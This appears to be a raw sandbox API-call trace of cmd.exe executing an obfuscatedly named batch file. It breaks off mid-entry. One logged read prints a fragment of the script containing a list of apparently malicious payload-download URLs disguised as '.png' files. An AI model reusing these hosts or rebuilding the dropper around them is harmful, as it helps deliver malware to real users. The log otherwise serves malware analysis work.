0x3 [0232.893] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.893] GetLastError () returned 0x2 [0232.893] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.893] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.894] GetLastError () returned 0x2 [0232.894] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.894] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.894] GetLastError () returned 0x2 [0232.894] ??_V@YAXPEAX@Z () returned 0x1 [0232.895] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.895] GetFileType (hFile=0x54) returned 0x2 [0232.895] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0232.895] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0232.896] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.896] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0232.897] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0232.897] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0232.897] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0232.904] ??_V@YAXPEAX@Z () returned 0x1 [0232.904] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.905] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0232.905] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.905] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0232.905] _get_osfhandle (_FileHandle=0) returned 0x4c [0232.905] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0232.906] SetConsoleInputExeNameW () returned 0x1 [0232.906] GetConsoleOutputCP () returned 0x1b5 [0232.906] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0232.906] SetThreadUILanguage (LangId=0x0) returned 0x409 [0232.906] ??_V@YAXPEAX@Z () returned 0x1 [0232.908] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.908] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.908] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.908] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5098, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ea [0232.908] GetProcessHeap () returned 0x20b0f920000 [0232.908] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956b50) returned 1 [0232.908] GetProcessHeap () returned 0x20b0f920000 [0232.908] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0232.908] GetProcessHeap () returned 0x20b0f920000 [0232.908] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947890) returned 1 [0232.908] GetProcessHeap () returned 0x20b0f920000 [0232.909] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0232.910] GetProcessHeap () returned 0x20b0f920000 [0232.910] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9574b0) returned 1 [0232.910] GetProcessHeap () returned 0x20b0f920000 [0232.910] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0232.910] GetProcessHeap () returned 0x20b0f920000 [0232.910] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9567f0) returned 1 [0232.910] GetProcessHeap () returned 0x20b0f920000 [0232.910] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0232.910] GetProcessHeap () returned 0x20b0f920000 [0232.910] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947a50) returned 1 [0232.910] GetProcessHeap () returned 0x20b0f920000 [0232.910] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0232.911] GetProcessHeap () returned 0x20b0f920000 [0232.911] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0232.911] GetProcessHeap () returned 0x20b0f920000 [0232.911] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0232.911] GetProcessHeap () returned 0x20b0f920000 [0232.911] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0232.912] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.912] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ea [0232.912] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x3cb, lpOverlapped=0x0) returned 1 [0232.912] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5189, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1445 [0232.912] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0232.912] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.912] GetFileType (hFile=0x9c) returned 0x1 [0232.912] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.912] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1445 [0232.912] GetProcessHeap () returned 0x20b0f920000 [0232.912] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.913] GetProcessHeap () returned 0x20b0f920000 [0232.913] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.913] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0232.913] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0232.913] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0232.913] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0232.913] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0232.913] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0232.913] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0232.913] GetProcessHeap () returned 0x20b0f920000 [0232.913] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0232.913] GetProcessHeap () returned 0x20b0f920000 [0232.913] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0232.914] GetProcessHeap () returned 0x20b0f920000 [0232.914] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb4) returned 0x20b0f9259d0 [0232.914] _tell (_FileHandle=3) returned 5189 [0232.914] _close (_FileHandle=3) returned 0 [0232.914] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0232.914] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.914] GetFileType (hFile=0x50) returned 0x2 [0232.914] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.914] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0232.916] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.916] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0232.920] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0232.920] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0232.920] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0232.920] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.920] GetFileType (hFile=0x50) returned 0x2 [0232.920] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.921] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0232.921] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.921] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0232.921] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.921] GetFileType (hFile=0x50) returned 0x2 [0232.922] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.922] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.922] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.922] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0232.922] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 82 [0232.922] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.922] GetFileType (hFile=0x50) returned 0x2 [0232.923] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.923] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0232.923] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.923] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x52) returned 1 [0232.925] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0232.925] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.925] GetFileType (hFile=0x50) returned 0x2 [0232.925] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.925] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.926] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.926] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0232.930] malloc (_Size=0xffce) returned 0x20b0fa60940 [0232.931] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0232.932] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.932] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.932] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.932] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.932] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.932] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.932] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.932] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.932] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.932] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.932] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.932] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.932] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.932] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.932] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.932] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.932] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.932] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.932] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.932] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.932] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.932] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.932] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.932] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.933] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.933] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.933] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.933] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.933] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.933] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.933] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.933] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.933] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.933] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.933] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.933] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.933] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.933] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.933] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.933] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.933] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.933] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.933] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.933] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.933] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.934] GetProcessHeap () returned 0x20b0f920000 [0232.934] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0232.937] SetErrorMode (uMode=0x0) returned 0x0 [0232.937] SetErrorMode (uMode=0x1) returned 0x0 [0232.937] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0232.937] SetErrorMode (uMode=0x0) returned 0x1 [0232.937] GetProcessHeap () returned 0x20b0f920000 [0232.937] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0232.937] GetProcessHeap () returned 0x20b0f920000 [0232.937] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0232.938] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.938] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.938] GetProcessHeap () returned 0x20b0f920000 [0232.938] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947890 [0232.938] GetProcessHeap () returned 0x20b0f920000 [0232.938] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0232.938] GetProcessHeap () returned 0x20b0f920000 [0232.938] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0232.938] GetProcessHeap () returned 0x20b0f920000 [0232.938] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0232.938] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.938] GetProcessHeap () returned 0x20b0f920000 [0232.938] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947370 [0232.938] GetProcessHeap () returned 0x20b0f920000 [0232.938] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947370, Size=0x7e) returned 0x20b0f956880 [0232.938] GetProcessHeap () returned 0x20b0f920000 [0232.938] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956880) returned 0x7e [0232.938] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.938] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d090 [0232.939] FindClose (in: hFindFile=0x20b0f92d090 | out: hFindFile=0x20b0f92d090) returned 1 [0232.939] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.939] GetLastError () returned 0x2 [0232.942] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.942] GetLastError () returned 0x2 [0232.942] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.943] GetLastError () returned 0x2 [0232.943] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.943] GetLastError () returned 0x2 [0232.943] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.943] GetLastError () returned 0x2 [0232.943] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.943] GetLastError () returned 0x2 [0232.943] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.944] GetLastError () returned 0x2 [0232.944] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.944] GetLastError () returned 0x2 [0232.944] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.944] GetLastError () returned 0x2 [0232.944] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.944] GetLastError () returned 0x2 [0232.944] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.945] GetLastError () returned 0x2 [0232.945] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.945] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.945] GetLastError () returned 0x2 [0232.945] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.945] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d030 [0232.945] FindClose (in: hFindFile=0x20b0f92d030 | out: hFindFile=0x20b0f92d030) returned 1 [0232.946] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.946] GetLastError () returned 0x2 [0232.946] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.946] GetLastError () returned 0x2 [0232.946] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.946] GetLastError () returned 0x2 [0232.946] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.947] GetLastError () returned 0x2 [0232.947] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.947] GetLastError () returned 0x2 [0232.947] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.947] GetLastError () returned 0x2 [0232.947] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.947] GetLastError () returned 0x2 [0232.948] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.948] GetLastError () returned 0x2 [0232.948] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.948] GetLastError () returned 0x2 [0232.948] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.948] GetLastError () returned 0x2 [0232.948] FindFirstFileExW (in: 